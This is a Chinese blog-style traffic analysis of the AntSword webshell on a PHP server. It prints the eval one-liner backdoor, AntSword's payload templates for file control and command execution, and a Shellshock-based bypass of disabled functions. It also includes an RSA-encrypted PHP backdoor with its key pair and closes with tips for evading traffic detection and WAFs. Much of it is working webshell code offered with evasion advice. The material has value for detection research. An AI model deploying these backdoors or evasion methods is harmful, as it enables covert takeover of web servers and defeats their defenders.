AntSword流量分析
based on php
AntSword大体结构
AntSword采用Nodejs
作为编程语言,并使用electron
开发完成,在后面引入了源码SourceCode
和加载器Loader
的概念做到了应用和源码分离,做到了在没有安装Node环境的情况下也能运行。
本地搭建一个apache2+php环境
本地AntSword源码版本:AntSword-2.1.9
写上经典一句话:
<?php eval($_POST['cmd']);?>
打开wireshark分析流量包,下面对AntSword特定功能做出流量记录
所有蚁剑发送的流量包都是TCP握手完成建立连接后发出一个POST请求,然后一个response返回,没有其他多余的流量包。
通过阅读源码与实际抓包得知,蚁剑的每一次请求包的大体结构是固定的,都遵循:cmd=
@ini_set("display_errors", "0");
@set_time_limit(0);
${asencCode}; //编码类型
function asoutput()
{
$output=ob_get_contents();
ob_end_clean();
echo "${tag_s}"; //在请求开始打印随机数
echo @asenc($output);
echo "${tag_e}"; //在请求结束打印一个随机数、两个不同的随机数用于在报文中定位返回的内容
}
ob_start();
try
{
${tmpCode};//这里的代码具体到功能
}
catch(Exception $e)
{
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
下面贴出来的代码都是try语句块内的内容
总体功能实现代码
测试连接
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}
else
{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
//获取服务端的绝对路径、主机名、用户名等基本信息
//可以发现php的内置函数是多么的丰富多彩
文件管理
$D=base64_decode(substr($_POST["m14588a97ac972"],2));//取POST随机变量值的第三个及其以后的字符串base64_decode作为请求文件路径
$F=@opendir($D);
if($F==NULL)
{
echo("ERROR:// Path Not Found Or No Permission!");
}
else//下面读取请求文件夹的具体内容
{
$M=NULL;$L=NULL;
while($N=@readdir($F))
{
$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R=" ".$T." ".@filesize($P)." ".$E." ";
if(@is_dir($P))
$M.=$N."/".$R;
else
$L.=$N.$R;
}
echo $M.$L;@closedir($F);
}
下面是各种文件读取的node源码(antSword\source\core\php\template\filemanager.js),都大同小异:
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `$D=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
[arg1]: "#{newbase64::path}"
},
delete: {
_: `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`,
[arg1]: "#{newbase64::path}"
},
create_file: {
_: `echo @fwrite(fopen(base64_decode(substr($_POST["${arg1}"],#randomPrefix#)),"w"),base64_decode(substr($_POST["${arg2}"],#randomPrefix#)))?"1":"0";`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::content}"
},
read_file: {
_: `$F=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
[arg1]: "#{newbase64::path}"
},
copy: {
_: `$m=get_magic_quotes_gpc();$fc=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::target}"
},
download_file: {
_: `$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`,
[arg1]: "#{newbase64::path}"
},
upload_file: {
_: `$f=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$c=$_POST["${arg2}"];
$c=str_replace("\\r","",$c);
$c=str_replace("\\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{buffer::content}"
},
rename: {
_: `$m=get_magic_quotes_gpc();
$src=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$dst=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
echo(rename($src,$dst)?"1":"0");`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::name}"
},
retime: {
_: `$m=get_magic_quotes_gpc();
$FN=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$TM=strtotime(base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"], #randomPrefix#)));
if(file_exists($FN)){
echo(@touch($FN,$TM,$TM)?"1":"0");
}else{
echo("0");
};`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::time}"
},
chmod: {
_: `$m=get_magic_quotes_gpc();
$FN=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$mode=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
echo(chmod($FN,octdec($mode))?"1":"0");`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::mode}"
},
mkdir: {
_: `$m=get_magic_quotes_gpc();$f=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));echo(mkdir($f)?"1":"0");`,
[arg1]: "#{newbase64::path}"
},
wget: {
_: `$fR=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$fL=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L){
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
echo("1");
}else{
echo("0");
};`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::url}",
[arg2]: "#{newbase64::path}"
}
})
虚拟终端
(antSword\source\core\php\template\command.js)
try{
$p=base64_decode(substr($_POST["e8ff12f1dcaf7e"],2));
$s=base64_decode(substr($_POST["k16a1890008695"],2));
$envstr=@base64_decode(substr($_POST["jf5f5ae62284bc"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/")
{
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}
else
{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr))
{
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v)
{
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f)
{
$d=explode(",",@ini_get("disable_functions"));
if(empty($d))
{
$d=array();
}
else
{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail')))
{
if (strstr(readlink("/bin/sh"), "bash") != FALSE)
{
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log'))
{
error_log("a", 1);
}
else
{
mail("a@127.0.0.1", "", "", "-bv");
}
}
else
{
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "")
{
print($output);
return True;
}
}
return False;
};
function runcmd($c)
{
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system'))
{
@system($c,$ret);
}
elseif(fe('passthru'))
{
@passthru($c,$ret);
}
elseif(fe('shell_exec'))
{
print(@shell_exec($c));
}
elseif(fe('exec'))
{
@exec($c,$o,$ret);
print(join("\t",$o));
}
elseif(fe('popen'))
{
$fp=@popen($c,'r');
while(!@feof($fp))
{
print(@fgets($fp,2048));
}
@pclose($fp);
}
elseif(fe('proc_open'))
{
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1]))
{
print(@fgets($io[1],2048));
}
while(!@feof($io[2]))
{
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}
elseif(fe('antsystem'))
{
@antsystem($c);
}
elseif(runshellshock($d, $c))
{
return $ret;
}
elseif(substr($d,0,1)!="/" && @class_exists("COM"))
{
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}
else
{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
}
功能实现总结一下
关于虚拟终端的命令执行
- 代码最后应该是执行了:/bin/sh -c “{cd ‘后门连接的工作目录’;whoami;echo [S];pwd;echo [E]}”
- 最执行前先读取了
disable_functions
,然后正确选择能够执行命令的函数,先从从简单的system、passthru再到后面的苛刻一点的proc_open依次判断执行 - 如果函数都被禁用了,并且加载了蚁剑内置的bypass_disabled_func模块,会加载
antsystem
执行命令 - windows系统还能加载系统组件进行命令执行
$w=new COM('WScript.shell');
runshellshock
绕过用的方法是CVE-2014-6271
- 如果所有函数都无法利用则返回
ret=127
(太眼熟了)
关于编码
AntSword默认提供了几种编码方式,例如base64、chr、chr16、rot13
解码方式也提供了相似的一些,比较方便
但是编码和加密不同,编码只是固定的映射,相同编码方式编码出来的流量会具有高度相似
比如,前文讲到,蚁剑的每一次请求包的大体结构是固定的,都遵循以@ini_set("display_errors", "0");
打头
那么该语句进过base64编码后为:QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJzAnKTs=
如果每个流量包都被base64加密的话,这一些流量包就很有恶意流量的意思,被检测出来的特征也很明显了。
并且,抓包得到编码过后的命令会在请求最后面加上eval来执行,所以增加了eval关键字的出现
POST / HTTP/1.1
Host: 192.168.112.129
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 970
Connection: close
c6f77048bf998c=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuIEBiYXNlNjRfZW5jb2RlKCRvdXQpO307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjNmM2ExOTI0OTAiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjgxYTQ3NDA2Ijt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs%3D&cmd=%40eval(%40base64_decode(%24_POST%5Bc6f77048bf998c%5D))%3B
//上面一行有eval和base64_decode
所以,用常用编码也许能绕过一些比较弱的waf,但是其特征很容易被检测出来。
所以,更加安全的做法是encrypto
而不encode
关于加密
在AntSword的官方仓库里面提供了许多加密解密实现
在后面更新的AntSword里面自带了RSA加密功能,使用方法:
打开编码设置>>RSA配置>>生成公钥私钥>>把下面的php代码作为后门上传到目标目录>>新建编码器选择PHP_RSA>>连接的时候使用这个编码器即可!
例如:
Public Key:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyKPyTCS/wtKZ8kWW1E/uDAgNq
6kb4TDzz19CY32bp2wKlJtr2A9umy0Rlcecsz20fFi1FQLXttym/U/EYabLZvB2a
07rOS2HHleRC5CC9UP1UNB8x/BiG8xRjJ6qEqXNFkdvG8o+yKnMVk97aXH1UMKnu
MqdmrWlEAVOPgRRM8QIDAQAB
-----END PUBLIC KEY-----
Privite Key:
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyKPyTCS/wtKZ8kWW1E/uDAgNq6kb4TDzz19CY32bp2wKlJtr2
A9umy0Rlcecsz20fFi1FQLXttym/U/EYabLZvB2a07rOS2HHleRC5CC9UP1UNB8x
/BiG8xRjJ6qEqXNFkdvG8o+yKnMVk97aXH1UMKnuMqdmrWlEAVOPgRRM8QIDAQAB
AoGBAJr6HmQFPOelLaH0lMXEwSfAK5roep3pK6huFq20wAAznIRvXU9eIcdg0Hly
cMdBFMpS70RruxYzG6Ssb3BuGb3oT/v7CUrVLmU7FpBO7ddB2ohU6hHVC9MZl20w
DrnDjhB1JloXymh4GUbzPV62TjifDV9j347oAn96+scN3SS1AkEA95hrN6x9p1O1
NpLlGaHigs1qAhw3Gfn6hoV1RLIcsv8MfbY0MSOvLMi9FZEfqh8qN9t6m2/ctUhf
72jKiWNbGwJBALg1Lnt9THwn2r8As47FXS88uba1i/CjgxvdpicjBZ1V/0oMHYxB
pHjfd+Jfl8DDxXEBE13jAF0dK6kCJsEzzOMCQEw+Jj4Fosfk8fd1MpE7FXo78Pnn
YFxiavADpsHZqxa/jUQk2FuNZoL+6aL7hmmnoSOENXQp9SfpuokJltzJuKMCQHAL
cR2OBlLSjxx02cLyy45q+m9nGBqj6qCtfl350HV2FJU+r05bsyYOj0YzbQPEULk+
tT/7ToJUtvTTKS2FS48CQA88Btxkaw8fuDQedFiRII1DRpVueezE04DePLVZFTiA
nYlfgMczrdwaFGtYHeht0/Q2TL+kM++J8AUXfhQ3EF4=
-----END RSA PRIVATE KEY-----
生成的php后门:
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyKPyTCS/wtKZ8kWW1E/uDAgNq
6kb4TDzz19CY32bp2wKlJtr2A9umy0Rlcecsz20fFi1FQLXttym/U/EYabLZvB2a
07rOS2HHleRC5CC9UP1UNB8x/BiG8xRjJ6qEqXNFkdvG8o+yKnMVk97aXH1UMKnu
MqdmrWlEAVOPgRRM8QIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);
流量抓包:
POST /rsa.php HTTP/1.1
Host: 192.168.112.129
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1684
Connection: close
ant=hIANWKSh/CXt5AxEGm01SAtK/FAcTjlyBqqPkUT0iq/sP8yEf92Xjfuy2i5tGqLymg0FDOrk+n3wG5Ob+ptVmWUwVDC8MnmYxZo9KksOVSPkomC0ka9O38JbeDsvWNxOvGEktRgZCEBsESiSU89mDQMY7HcD+UHFoQBvd616OzQ=|dl49OlWPm3p638F6uVip6NFnlBDO10UxPoAVCAkv7F73h9af/uREF8RiMgDgcW2OZhaeDKQD0CQsA0igLGlOgjjSry0qTnYbfcbmHK5r0GNhZfh8h648yR5rxiXBHnrlQ+k+Rl8300d22dgtkoPyA62uOpcYtln6KGnqLitDBGc=|oZ93UaMDsIK/jXzrSNwBOd8QfLunR8GmUOPTyHKuMZW+vaZ85x/MczpNJ7Ca/UaQxTyTsuzBvmRq6qS71B2oN6oFFiyDgoV3Ubsm5ip9K1ZiIjatMDB4TmBumGWBvLOS6xnz4EteBS7Y6F/Vz6c1cERpKPJJI585GslxSVwcMbQ=|hNFkTzDmDY5GUP+ry8jBifU+M/yyk0kc/ez4Vm048C7/FLisuLFo727Ol3vrJWhwKQGFScvi8XMeFUXNUHpTIRMcDCwddCmrpt0g6ymJ0jUkjhv6pgERPcivd81KGU9jIzzsAnmkxFE1bUo/3dE2ifPQALW2LzVbSe6qpm4DhZE=|NChM1XbYHjb28PWZWXzZ2Mb9diaTT9pDpDMuOvoJL1QhVdaflWxZ6EdOxONkBAB1O9RE/IzZPNdsVO4oupkYPzjcv9lF+vMotJvDjVK1FaQHzb9XY2pxzpUrHe3OzfTVsHwz8gUm+LV/PCZzn6hVJV4zAIfFaWa8BTZVmDuWxBc=|M4wI7mGnFOWCUS535g0OTiO1WPpcsgL9EqQyfA80nDht+Vee6nSl5Wgk8KENmeEV6WIbjf0131Sdpwg8Zr1MLBtNAbzqqZaFINbs1vfgSVGnND3mvb7fd4ua0ktZ23SUKUwYd8Q2yE9jrI/WmMTIcg8jshq1/XvicmvJB8m1u9s=|LSfQZgQy+ikEFukReJSxRGVlnKY/MGR5ZJANVxkOYXJN5YfH+f9FnTSkKLHN5LYP5Yaw2krHoO9802g4Z1KOLj2qacDsUwedLMczespLIAuLwBwz5G6oHhB4CtKZZATJMgR49cWDpkIMuQclM7tMRnGsVYv77F9LT4Ip4+Mo3tM=|lNGSpDUj5lmcdSgR7IJlAeKm7jJLI9e5XR+JYCknBjDYG8M3aB3HcM7iNPPMtRJB+44/DckV2LFU+ddeL5q0XKmJF9dvpTALTzxYnk1XjEaOaILL2KmX93DhcAaEHC3BitDuGuVFLp+Ue0/nE0mOwJJ6fLR338hmuiRtAsTqsH8=|VPfwnwhx89UUSy/SpP11oViU/38djLpxV8JclYFAr8hQeifbT7NcrF8DxsJbOkDVoSVAfSOJ4rnrkYlW/IfBNDrBgRVaFfJJijHgGYn9UDPdgiMIiBLVB4ebKN/VniIMkc0Qi8GZ1O0MTsI/fewW6hgEN3Nf/L86CHQ+sdq+ePg=
返回:
HTTP/1.1 200 OK
Date: Fri, 05 Feb 2021 09:03:07 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 152
Connection: close
Content-Type: text/html
72d4c3/var/www/example.com/public_html / Linux c7893388797d 5.4.0-65-generic #73-Ubuntu SMP Mon Jan 18 17:25:17 UTC 2021 x86_64 www-dataa3b7be2667
可以看到发出去的流量包被很好的进行了RSA加密,肉眼上基本上看不出来任何特征,基本上bypass掉了大多数流量检测规则。
当然,用RSA加密的话需要客户端有OpenSSL的php支持,如果不能支持的话可以参考一下AntSword官方仓库里面的几种AES加密实现。
总结一下关于如何有效绕过流量检测
- php后门代码混淆
- 对POST过去的数据使用非对称加密,如RSA
- 修改UA,甚至随机循环修改UA(冰蝎就很好的实现了随机UA的功能)
- 修改老旧或者无意义的Hearder例如Content-Type,Accept等
- 甚至对Response进行加密,如:AES128/256,具体可查阅AntSword官方仓库
- 把命令的二进制流非对称加密后发送(冰蝎)
- 其实流量检测也是相对的,引用师傅的话,如果防守方想要拦截的话,你加密过后的数据也会给你拦下来,你为什么要加密?你有什么业务需要用到加密?